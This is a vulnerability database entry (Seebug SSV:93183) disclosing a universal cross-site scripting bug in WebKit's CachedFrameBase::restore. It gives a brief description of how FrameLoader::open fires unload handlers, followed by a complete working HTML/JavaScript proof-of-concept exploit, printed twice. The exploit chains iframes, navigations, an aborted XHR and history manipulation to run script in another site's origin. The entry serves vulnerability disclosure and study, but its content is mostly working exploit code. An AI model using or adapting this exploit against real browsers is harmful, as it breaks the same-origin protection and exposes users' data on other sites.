WebKit: UXSS via CachedFrameBase::restore

2017-06-06T00:00:00
ID SSV:93183
Type seebug
Reporter Root
Modified 2017-06-06T00:00:00

Description

This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151. But this time, javascript handlers may be fired in FrameLoader::open. void FrameLoader::open(CachedFrameBase& cachedFrame) { ... clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called. ... }

PoC:

``` <html> <body> Click anywhere... <script>

function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); }

function navigate(w, url) { let a = w.document.createElement('a'); a.href = url; a.click(); }

window.onclick = () => { window.w = open('about:blank', 'w', 'width=500, height=500');

let i0 = w.document.body.appendChild(document.createElement('iframe'));
let i1 = w.document.body.appendChild(document.createElement('iframe'));
i0.contentWindow.onbeforeunload = () =&gt; {
    i0.contentWindow.onbeforeunload = null;

    navigate(w, 'about:blank');
};

navigate(i0.contentWindow, createURL(`

<body> <script> </scrip` + 't></body>'));

setTimeout(() =&gt; {
    let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
    let x = new g.contentWindow.XMLHttpRequest();
    x.onabort = () =&gt; {
        parseFloat('axfasdfasfdsfasfsfasdf');
        i0.contentDocument.write();

        navigate(w, 'https://abc.xyz/');

        showModalDialog(createURL(`

<script> let it = setInterval(() => { try { opener.w.document.x; } catch (e) { clearInterval(it); window.close(); } }, 10); </scrip` + 't>'));

        setTimeout(() =&gt; {
            i1.srcdoc = '&lt;script&gt;alert(parent.location);&lt;/scrip' + 't&gt;';
            navigate(i1.contentWindow, 'about:srcdoc');
        }, 10);
    };

    x.open('GET', createURL('x'.repeat(0x1000000)));
    x.send();
    w.history.go(-2);
}, 200);

};

</script> </body> </html> ```

                                        
                                            
                                                &lt;html&gt;
&lt;body&gt;
Click anywhere...
&lt;script&gt;

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

window.onclick = () =&gt; {
	window.w = open('about:blank', 'w', 'width=500, height=500');

	let i0 = w.document.body.appendChild(document.createElement('iframe'));
	let i1 = w.document.body.appendChild(document.createElement('iframe'));
	i0.contentWindow.onbeforeunload = () =&gt; {
		i0.contentWindow.onbeforeunload = null;

		navigate(w, 'about:blank');
	};

	navigate(i0.contentWindow, createURL(`
&lt;body&gt;
&lt;script&gt;
&lt;/scrip` + 't&gt;&lt;/body&gt;'));

	setTimeout(() =&gt; {
		let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
		let x = new g.contentWindow.XMLHttpRequest();
		x.onabort = () =&gt; {
			parseFloat('axfasdfasfdsfasfsfasdf');
			i0.contentDocument.write();

	        navigate(w, 'https://abc.xyz/');

	        showModalDialog(createURL(`
&lt;script&gt;
let it = setInterval(() =&gt; {
	try {
	    opener.w.document.x;
	} catch (e) {
	    clearInterval(it);
	    window.close();
	}
}, 10);
&lt;/scrip` + 't&gt;'));

	        setTimeout(() =&gt; {
		        i1.srcdoc = '&lt;script&gt;alert(parent.location);&lt;/scrip' + 't&gt;';
		        navigate(i1.contentWindow, 'about:srcdoc');
	        }, 10);
		};

		x.open('GET', createURL('x'.repeat(0x1000000)));
		x.send();
		w.history.go(-2);
	}, 200);
};

&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;